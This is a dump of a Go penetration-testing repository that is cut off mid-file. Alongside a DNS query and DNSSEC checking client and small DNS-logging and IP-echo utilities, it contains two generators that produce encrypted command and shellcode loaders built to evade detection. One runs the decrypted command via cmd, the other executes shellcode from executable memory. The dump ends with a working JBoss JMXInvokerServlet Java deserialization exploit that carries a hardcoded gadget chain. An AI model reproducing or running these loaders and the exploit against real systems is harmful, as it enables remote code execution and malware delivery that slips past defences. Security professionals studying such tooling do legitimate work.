370 | } 371 | for _, r := range e.RR { 372 | fmt.Printf("%s\n", r) 373 | } 374 | record += len(e.RR) 375 | envelope++ 376 | } 377 | fmt.Printf("\n;; xfr size: %d records (envelopes %d)\n", record, envelope) 378 | continue 379 | } 380 | r, rtt, err := c.Exchange(m, nameserver) 381 | Redo: 382 | switch err { 383 | case nil: 384 | //do nothing 385 | default: 386 | fmt.Printf(";; %s\n", err.Error()) 387 | continue 388 | } 389 | if r.Truncated { 390 | if *fallback { 391 | if !*dnssec { 392 | fmt.Printf(";; Truncated, trying %d bytes bufsize\n", dns.DefaultMsgSize) 393 | o := new(dns.OPT) 394 | o.Hdr.Name = "." 395 | o.Hdr.Rrtype = dns.TypeOPT 396 | o.SetUDPSize(dns.DefaultMsgSize) 397 | m.Extra = append(m.Extra, o) 398 | r, rtt, err = c.Exchange(m, nameserver) 399 | *dnssec = true 400 | goto Redo 401 | } else { 402 | // First EDNS, then TCP 403 | fmt.Printf(";; Truncated, trying TCP\n") 404 | c.Net = "tcp" 405 | r, rtt, err = c.Exchange(m, nameserver) 406 | *fallback = false 407 | goto Redo 408 | } 409 | } 410 | fmt.Printf(";; Truncated\n") 411 | } 412 | if r.Id != m.Id { 413 | fmt.Fprintf(os.Stderr, "Id mismatch\n") 414 | return 415 | } 416 | 417 | if *check { 418 | sigCheck(r, nameserver, *tcp) 419 | denialCheck(r) 420 | fmt.Println() 421 | } 422 | if *short { 423 | shortenMsg(r) 424 | } 425 | 426 | fmt.Printf("%v", r) 427 | fmt.Printf("\n;; query time: %.3d µs, server: %s(%s), size: %d bytes\n", rtt/1e3, nameserver, c.Net, r.Len()) 428 | } 429 | } 430 | 431 | func tsigKeyParse(s string) (algo, name, secret string, ok bool) { 432 | s1 := strings.SplitN(s, ":", 3) 433 | switch len(s1) { 434 | case 2: 435 | return "hmac-md5.sig-alg.reg.int.", dns.Fqdn(s1[0]), s1[1], true 436 | case 3: 437 | switch s1[0] { 438 | case "hmac-md5": 439 | return "hmac-md5.sig-alg.reg.int.", dns.Fqdn(s1[1]), s1[2], true 440 | case "hmac-sha1": 441 | return "hmac-sha1.", dns.Fqdn(s1[1]), s1[2], true 442 | case "hmac-sha256": 443 | return "hmac-sha256.", dns.Fqdn(s1[1]), s1[2], true 444 | } 445 | } 446 | return 447 | } 448 | 449 | func sectionCheck(set []dns.RR, server string, tcp bool) { 450 | var key *dns.DNSKEY 451 | for _, rr := range set { 452 | if rr.Header().Rrtype == dns.TypeRRSIG { 453 | var expired string 454 | if !rr.(*dns.RRSIG).ValidityPeriod(time.Now().UTC()) { 455 | expired = "(*EXPIRED*)" 456 | } 457 | rrset := getRRset(set, rr.Header().Name, rr.(*dns.RRSIG).TypeCovered) 458 | if dnskey == nil { 459 | key = getKey(rr.(*dns.RRSIG).SignerName, rr.(*dns.RRSIG).KeyTag, server, tcp) 460 | } else { 461 | key = dnskey 462 | } 463 | if key == nil { 464 | fmt.Printf(";? DNSKEY %s/%d not found\n", rr.(*dns.RRSIG).SignerName, rr.(*dns.RRSIG).KeyTag) 465 | continue 466 | } 467 | where := "net" 468 | if dnskey != nil { 469 | where = "disk" 470 | } 471 | if err := rr.(*dns.RRSIG).Verify(key, rrset); err != nil { 472 | fmt.Printf(";- Bogus signature, %s does not validate (DNSKEY %s/%d/%s) [%s] %s\n", 473 | shortSig(rr.(*dns.RRSIG)), key.Header().Name, key.KeyTag(), where, err.Error(), expired) 474 | } else { 475 | fmt.Printf(";+ Secure signature, %s validates (DNSKEY %s/%d/%s) %s\n", shortSig(rr.(*dns.RRSIG)), key.Header().Name, key.KeyTag(), where, expired) 476 | } 477 | } 478 | } 479 | } 480 | 481 | // Check the sigs in the msg, get the signer's key (additional query), get the 482 | // rrset from the message, check the signature(s) 483 | func sigCheck(in *dns.Msg, server string, tcp bool) { 484 | sectionCheck(in.Answer, server, tcp) 485 | sectionCheck(in.Ns, server, tcp) 486 | sectionCheck(in.Extra, server, tcp) 487 | } 488 | 489 | // Check if there is need for authenticated denial of existence check 490 | func denialCheck(in *dns.Msg) { 491 | var denial []dns.RR 492 | // nsec(3) lives in the auth section 493 | for _, rr := range in.Ns { 494 | if rr.Header().Rrtype == dns.TypeNSEC { 495 | return 496 | } 497 | if rr.Header().Rrtype == dns.TypeNSEC3 { 498 | denial = append(denial, rr) 499 | continue 500 | } 501 | } 502 | 503 | if len(denial) > 0 { 504 | denial3(denial, in) 505 | } 506 | fmt.Printf(";+ Unimplemented: check for denial-of-existence for nsec\n") 507 | return 508 | } 509 | 510 | // NSEC3 Helper 511 | func denial3(nsec3 []dns.RR, in *dns.Msg) { 512 | qname := in.Question[0].Name 513 | qtype := in.Question[0].Qtype 514 | switch in.Rcode { 515 | case dns.RcodeSuccess: 516 | // qname should match nsec3, type should not be in bitmap 517 | match := nsec3[0].(*dns.NSEC3).Match(qname) 518 | if !match { 519 | fmt.Printf(";- Denial, owner name does not match qname\n") 520 | fmt.Printf(";- Denial, failed authenticated denial of existence proof for no data\n") 521 | return 522 | } 523 | for _, t := range nsec3[0].(*dns.NSEC3).TypeBitMap { 524 | if t == qtype { 525 | fmt.Printf(";- Denial, found type, %d, in bitmap\n", qtype) 526 | fmt.Printf(";- Denial, failed authenticated denial of existence proof for no data\n") 527 | return 528 | } 529 | if t > qtype { // ordered list, bail out, because not found 530 | break 531 | } 532 | } 533 | // Some success data printed here 534 | fmt.Printf(";+ Denial, matching record, %s, (%s) found and type %s denied\n", qname, 535 | strings.ToLower(dns.HashName(qname, nsec3[0].(*dns.NSEC3).Hash, nsec3[0].(*dns.NSEC3).Iterations, nsec3[0].(*dns.NSEC3).Salt)), 536 | dns.TypeToString[qtype]) 537 | fmt.Printf(";+ Denial, secure authenticated denial of existence proof for no data\n") 538 | return 539 | case dns.RcodeNameError: // NXDOMAIN Proof 540 | indx := dns.Split(qname) 541 | var ce string // Closest Encloser 542 | var nc string // Next Closer 543 | var wc string // Source of Synthesis (wildcard) 544 | ClosestEncloser: 545 | for i := 0; i < len(indx); i++ { 546 | for j := 0; j < len(nsec3); j++ { 547 | if nsec3[j].(*dns.NSEC3).Match(qname[indx[i]:]) { 548 | ce = qname[indx[i]:] 549 | wc = "*." + ce 550 | if i == 0 { 551 | nc = qname 552 | } else { 553 | nc = qname[indx[i-1]:] 554 | } 555 | break ClosestEncloser 556 | } 557 | } 558 | } 559 | if ce == "" { 560 | fmt.Printf(";- Denial, closest encloser not found\n") 561 | return 562 | } 563 | fmt.Printf(";+ Denial, closest encloser, %s (%s)\n", ce, 564 | strings.ToLower(dns.HashName(ce, nsec3[0].(*dns.NSEC3).Hash, nsec3[0].(*dns.NSEC3).Iterations, nsec3[0].(*dns.NSEC3).Salt))) 565 | covered := 0 // Both nc and wc must be covered 566 | for i := 0; i < len(nsec3); i++ { 567 | if nsec3[i].(*dns.NSEC3).Cover(nc) { 568 | fmt.Printf(";+ Denial, next closer %s (%s), covered by %s -> %s\n", nc, nsec3[i].Header().Name, nsec3[i].(*dns.NSEC3).NextDomain, 569 | strings.ToLower(dns.HashName(ce, nsec3[0].(*dns.NSEC3).Hash, nsec3[0].(*dns.NSEC3).Iterations, nsec3[0].(*dns.NSEC3).Salt))) 570 | covered++ 571 | } 572 | if nsec3[i].(*dns.NSEC3).Cover(wc) { 573 | fmt.Printf(";+ Denial, source of synthesis %s (%s), covered by %s -> %s\n", wc, nsec3[i].Header().Name, nsec3[i].(*dns.NSEC3).NextDomain, 574 | strings.ToLower(dns.HashName(ce, nsec3[0].(*dns.NSEC3).Hash, nsec3[0].(*dns.NSEC3).Iterations, nsec3[0].(*dns.NSEC3).Salt))) 575 | covered++ 576 | } 577 | } 578 | if covered != 2 { 579 | fmt.Printf(";- Denial, too many, %d, covering records\n", covered) 580 | fmt.Printf(";- Denial, failed authenticated denial of existence proof for name error\n") 581 | return 582 | } 583 | fmt.Printf(";+ Denial, secure authenticated denial of existence proof for name error\n") 584 | return 585 | } 586 | } 587 | 588 | // Return the RRset belonging to the signature with name and type t 589 | func getRRset(l []dns.RR, name string, t uint16) []dns.RR { 590 | var l1 []dns.RR 591 | for _, rr := range l { 592 | if strings.ToLower(rr.Header().Name) == strings.ToLower(name) && rr.Header().Rrtype == t { 593 | l1 = append(l1, rr) 594 | } 595 | } 596 | return l1 597 | } 598 | 599 | // Get the key from the DNS (uses the local resolver) and return them. 600 | // If nothing is found we return nil 601 | func getKey(name string, keytag uint16, server string, tcp bool) *dns.DNSKEY { 602 | c := new(dns.Client) 603 | if tcp { 604 | c.Net = "tcp" 605 | } 606 | m := new(dns.Msg) 607 | m.SetQuestion(name, dns.TypeDNSKEY) 608 | m.SetEdns0(4096, true) 609 | r, _, err := c.Exchange(m, server) 610 | if err != nil { 611 | return nil 612 | } 613 | for _, k := range r.Answer { 614 | if k1, ok := k.(*dns.DNSKEY); ok { 615 | if k1.KeyTag() == keytag { 616 | return k1 617 | } 618 | } 619 | } 620 | return nil 621 | } 622 | 623 | // shortSig shortens RRSIG to "miek.nl RRSIG(NS)" 624 | func shortSig(sig *dns.RRSIG) string { 625 | return sig.Header().Name + " RRSIG(" + dns.TypeToString[sig.TypeCovered] + ")" 626 | } 627 | 628 | // shortenMsg walks trough message and shortens Key data and Sig data. 629 | func shortenMsg(in *dns.Msg) { 630 | for i, answer := range in.Answer { 631 | in.Answer[i] = shortRR(answer) 632 | } 633 | for i, ns := range in.Ns { 634 | in.Ns[i] = shortRR(ns) 635 | } 636 | for i, extra := range in.Extra { 637 | in.Extra[i] = shortRR(extra) 638 | } 639 | } 640 | 641 | func shortRR(r dns.RR) dns.RR { 642 | switch t := r.(type) { 643 | case *dns.DS: 644 | t.Digest = "..." 645 | case *dns.DNSKEY: 646 | t.PublicKey = "..." 647 | case *dns.RRSIG: 648 | t.Signature = "..." 649 | case *dns.NSEC3: 650 | t.Salt = "." // Nobody cares 651 | if len(t.TypeBitMap) > 5 { 652 | t.TypeBitMap = t.TypeBitMap[1:5] 653 | } 654 | } 655 | return r 656 | } 657 | -------------------------------------------------------------------------------- /dns_print_server/go.mod: -------------------------------------------------------------------------------- 1 | module github.com/tomsteele/pen-utils/dns_print_server 2 | 3 | go 1.17 4 | 5 | require github.com/miekg/dns v1.1.49 6 | 7 | require ( 8 | golang.org/x/mod v0.4.2 // indirect 9 | golang.org/x/net v0.0.0-20210726213435-c6fcb2dbf985 // indirect 10 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c // indirect 11 | golang.org/x/tools v0.1.6-0.20210726203631-07bc1bf47fb2 // indirect 12 | golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect 13 | ) 14 | -------------------------------------------------------------------------------- /dns_print_server/go.sum: -------------------------------------------------------------------------------- 1 | github.com/miekg/dns v1.1.49 h1:qe0mQU3Z/XpFeE+AEBo2rqaS1IPBJ3anmqZ4XiZJVG8= 2 | github.com/miekg/dns v1.1.49/go.mod h1:e3IlAVfNqAllflbibAZEWOXOQ+Ynzk/dDozDxY7XnME= 3 | github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k= 4 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 5 | golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= 6 | golang.org/x/mod v0.4.2 h1:Gz96sIWK3OalVv/I/qNygP42zyoKp3xptRVCWRFEBvo= 7 | golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= 8 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 9 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 10 | golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM= 11 | golang.org/x/net v0.0.0-20210726213435-c6fcb2dbf985 h1:4CSI6oo7cOjJKajidEljs9h+uP0rRZBPPPhcCbj5mw8= 12 | golang.org/x/net v0.0.0-20210726213435-c6fcb2dbf985/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= 13 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 14 | golang.org/x/sync v0.0.0-20210220032951-036812b2e83c h1:5KslGYwFpkhGh+Q16bwMP3cOontH8FOep7tGV86Y7SQ= 15 | golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 16 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 17 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 18 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 19 | golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 20 | golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 21 | golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 22 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c h1:F1jZWGFhYfh0Ci55sIpILtKKK8p3i2/krTr0H1rg74I= 23 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 24 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= 25 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 26 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 27 | golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 28 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 29 | golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 30 | golang.org/x/tools v0.1.6-0.20210726203631-07bc1bf47fb2 h1:BonxutuHCTL0rBDnZlKjpGIQFTjyUVTexFOdWkB6Fg0= 31 | golang.org/x/tools v0.1.6-0.20210726203631-07bc1bf47fb2/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= 32 | golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 33 | golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 34 | golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE= 35 | golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 36 | -------------------------------------------------------------------------------- /dns_print_server/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | 7 | "github.com/miekg/dns" 8 | ) 9 | 10 | func checkErr(err error) { 11 | if err != nil { 12 | panic(err) 13 | } 14 | } 15 | 16 | func main() { 17 | dns.HandleFunc(".", func(w dns.ResponseWriter, req *dns.Msg) { 18 | log.Printf("ID %d id\n", req.Id) 19 | for _, q := range req.Question { 20 | fmt.Println(q.Name) 21 | } 22 | dns.HandleFailed(w, req) 23 | }) 24 | log.Fatal(dns.ListenAndServe(":53", "udp", nil)) 25 | } 26 | -------------------------------------------------------------------------------- /go-encrypt-runner-thing/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/aes" 5 | "crypto/cipher" 6 | "encoding/base64" 7 | "flag" 8 | "math/rand" 9 | "os" 10 | "text/template" 11 | ) 12 | 13 | type args struct { 14 | Key string 15 | Ciphertext string 16 | } 17 | 18 | func checkAndPanic(err error) { 19 | if err != nil { 20 | panic(err) 21 | } 22 | } 23 | 24 | func generateRandomBytes(n int) ([]byte, error) { 25 | b := make([]byte, n) 26 | _, err := rand.Read(b) 27 | if err != nil { 28 | return nil, err 29 | } 30 | 31 | return b, nil 32 | } 33 | 34 | func encrypt(data string) (string, string) { 35 | plaintext := []byte(data) 36 | key, _ := generateRandomBytes(32) 37 | block, _ := aes.NewCipher(key) 38 | ciphertext := make([]byte, len(plaintext)) 39 | stream := cipher.NewCTR(block, key[aes.BlockSize:]) 40 | stream.XORKeyStream(ciphertext, plaintext) 41 | 42 | return base64.StdEncoding.EncodeToString(ciphertext), base64.StdEncoding.EncodeToString(key) 43 | } 44 | 45 | func main() { 46 | body := ` 47 | package main 48 | 49 | import ( 50 | "crypto/aes" 51 | "crypto/cipher" 52 | "encoding/base64" 53 | "os/exec" 54 | ) 55 | 56 | func main() { 57 | ciphertext, _ := base64.StdEncoding.DecodeString("{{.Ciphertext}}") 58 | key, _ := base64.StdEncoding.DecodeString("{{.Key}}") 59 | block, _ := aes.NewCipher(key) 60 | plaintext := make([]byte, len(ciphertext)) 61 | stream := cipher.NewCTR(block, key[aes.BlockSize:]) 62 | stream.XORKeyStream(plaintext, ciphertext) 63 | c := exec.Command("cmd", "/C", string(plaintext)) 64 | c.Run() 65 | } 66 | ` 67 | 68 | command := flag.String("command", "", "The command to execute") 69 | flag.Parse() 70 | 71 | tmpl, err := template.New("body").Parse(body) 72 | checkAndPanic(err) 73 | 74 | ciphertext, key := encrypt(*command) 75 | tmpl.Execute(os.Stdout, args{ 76 | Ciphertext: ciphertext, 77 | Key: key, 78 | }) 79 | } 80 | -------------------------------------------------------------------------------- /go-encrypt-shellcode-thing/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/aes" 5 | "crypto/cipher" 6 | "encoding/base64" 7 | "flag" 8 | "io/ioutil" 9 | "math/rand" 10 | "os" 11 | "text/template" 12 | ) 13 | 14 | type args struct { 15 | Key string 16 | Ciphertext string 17 | } 18 | 19 | func checkAndPanic(err error) { 20 | if err != nil { 21 | panic(err) 22 | } 23 | } 24 | 25 | func generateRandomBytes(n int) ([]byte, error) { 26 | b := make([]byte, n) 27 | _, err := rand.Read(b) 28 | if err != nil { 29 | return nil, err 30 | } 31 | 32 | return b, nil 33 | } 34 | 35 | func encrypt(plaintext []byte) (string, string) { 36 | key, _ := generateRandomBytes(32) 37 | block, _ := aes.NewCipher(key) 38 | ciphertext := make([]byte, len(plaintext)) 39 | stream := cipher.NewCTR(block, key[aes.BlockSize:]) 40 | stream.XORKeyStream(ciphertext, plaintext) 41 | 42 | return base64.StdEncoding.EncodeToString(ciphertext), base64.StdEncoding.EncodeToString(key) 43 | } 44 | 45 | func main() { 46 | body := ` 47 | package main 48 | 49 | import ( 50 | "crypto/aes" 51 | "crypto/cipher" 52 | "encoding/base64" 53 | "os" 54 | "syscall" 55 | "unsafe" 56 | ) 57 | 58 | // Bitmasks. 59 | const ( 60 | MEMCOMMIT = 0x1000 61 | MEMRESERVE = 0x2000 62 | PAGEEXECUTEREADWRITE = 0x40 63 | ) 64 | 65 | var ( 66 | kernel32 = syscall.NewLazyDLL("kernel32.dll") 67 | virtualAlloc = kernel32.NewProc("VirtualAlloc") 68 | ) 69 | 70 | func alloc(size uintptr) (uintptr, error) { 71 | ptr, _, err := virtualAlloc.Call(0, size, MEMRESERVE|MEMCOMMIT, PAGEEXECUTEREADWRITE) 72 | if ptr == 0 { 73 | return 0, err 74 | } 75 | return ptr, nil 76 | } 77 | 78 | func main() { 79 | ciphertext, _ := base64.StdEncoding.DecodeString("{{.Ciphertext}}") 80 | key, _ := base64.StdEncoding.DecodeString("{{.Key}}") 81 | block, _ := aes.NewCipher(key) 82 | plaintext := make([]byte, len(ciphertext)) 83 | stream := cipher.NewCTR(block, key[aes.BlockSize:]) 84 | stream.XORKeyStream(plaintext, ciphertext) 85 | ptr, err := alloc(uintptr(len(plaintext))) 86 | if err != nil { 87 | os.Exit(0) 88 | } 89 | buff := (*[890000]byte)(unsafe.Pointer(ptr)) 90 | for x, y := range []byte(plaintext) { 91 | buff[x] = y 92 | } 93 | syscall.Syscall(ptr, 0, 0, 0, 0) 94 | } 95 | ` 96 | file := flag.String("file", "", "file containing your payload") 97 | flag.Parse() 98 | 99 | tmpl, err := template.New("body").Parse(body) 100 | checkAndPanic(err) 101 | 102 | data, err := ioutil.ReadFile(*file) 103 | checkAndPanic(err) 104 | 105 | ciphertext, key := encrypt(data) 106 | tmpl.Execute(os.Stdout, args{ 107 | Ciphertext: ciphertext, 108 | Key: key, 109 | }) 110 | } 111 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/tomsteele/pen-utils 2 | 3 | go 1.18 4 | 5 | require github.com/things-go/go-socks5 v0.0.2 // indirect 6 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 2 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 3 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 4 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 5 | github.com/things-go/go-socks5 v0.0.2 h1:dFi5iZ/LqgHRTQ6n3XlipTLDWHAQsejvJ300bH2VFWo= 6 | github.com/things-go/go-socks5 v0.0.2/go.mod h1:dhnDTBbIg31cbJdROP4/Zz6Iw7JPEpiMvOl2LdHSSjE= 7 | golang.org/x/net v0.0.0-20210614182718-04defd469f4e/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= 8 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 9 | golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 10 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= 11 | golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 12 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 13 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 14 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 15 | -------------------------------------------------------------------------------- /ip-check/server/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "log" 5 | "net" 6 | ) 7 | 8 | func main() { 9 | l, err := net.Listen("tcp", ":5555") 10 | if err != nil { 11 | log.Fatal(err) 12 | } 13 | for { 14 | conn, err := l.Accept() 15 | if err != nil { 16 | log.Println(err) 17 | } 18 | go handle(conn) 19 | } 20 | } 21 | 22 | func handle(conn net.Conn) { 23 | ip := conn.RemoteAddr().String() 24 | log.Printf("Connection from %s\n", ip) 25 | conn.Write([]byte(ip)) 26 | conn.Close() 27 | } 28 | -------------------------------------------------------------------------------- /ip-check/tcp-client/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | "fmt" 6 | "io" 7 | "log" 8 | "net" 9 | "strings" 10 | ) 11 | 12 | func main() { 13 | var addr = flag.String("a", "stacktitan.com:5555", "address to connect to") 14 | flag.Parse() 15 | conn, err := net.Dial("tcp", *addr) 16 | if err != nil { 17 | log.Fatal(err) 18 | } 19 | buf := make([]byte, 1024) 20 | for { 21 | _, err := conn.Read(buf) 22 | if err != nil { 23 | if err != io.EOF { 24 | log.Fatal(err) 25 | } 26 | break 27 | } 28 | } 29 | fmt.Printf("%s\n", strings.Split(string(buf), ":")[0]) 30 | } 31 | -------------------------------------------------------------------------------- /jboss-serial-exploit/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "crypto/tls" 6 | "encoding/hex" 7 | "flag" 8 | "fmt" 9 | "log" 10 | "net/http" 11 | ) 12 | 13 | func jboss(host string, ssl bool, cmd string) (int, error) { 14 | serializedObject, err := hex.DecodeString("ACED00057372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA50200024C000C6D656D62657256616C75657374000F4C6A6176612F7574696C2F4D61703B4C0004747970657400114C6A6176612F6C616E672F436C6173733B7870737D00000001000D6A6176612E7574696C2E4D6170787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707371007E00007372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E747400124C6A6176612F6C616E672F4F626A6563743B7870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007400096765744D6574686F647571007E001E00000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E001E7371007E00167571007E001B00000002707571007E001B00000000740006696E766F6B657571007E001E00000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E001B7371007E0016757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017400") 15 | if err != nil { 16 | return 0, err 17 | } 18 | serializedObject = append(serializedObject, byte(len(cmd))) 19 | serializedObject = append(serializedObject, []byte(cmd)...) 20 | afterBuf, err := hex.DecodeString("740004657865637571007E001E0000000171007E00237371007E0011737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F40000000000010770800000010000000007878767200126A6176612E6C616E672E4F766572726964650000000000000000000000787071007E003A") 21 | if err != nil { 22 | return 0, err 23 | } 24 | serializedObject = append(serializedObject, afterBuf...) 25 | 26 | var client *http.Client 27 | var url string 28 | if ssl { 29 | client = &http.Client{ 30 | Transport: &http.Transport{ 31 | TLSClientConfig: &tls.Config{ 32 | InsecureSkipVerify: true, 33 | }, 34 | }, 35 | } 36 | url = fmt.Sprintf("https://%s/invoker/JMXInvokerServlet", host) 37 | } else { 38 | client = &http.Client{} 39 | url = fmt.Sprintf("http://%s/invoker/JMXInvokerServlet", host) 40 | } 41 | 42 | req, err := http.NewRequest("POST", url, 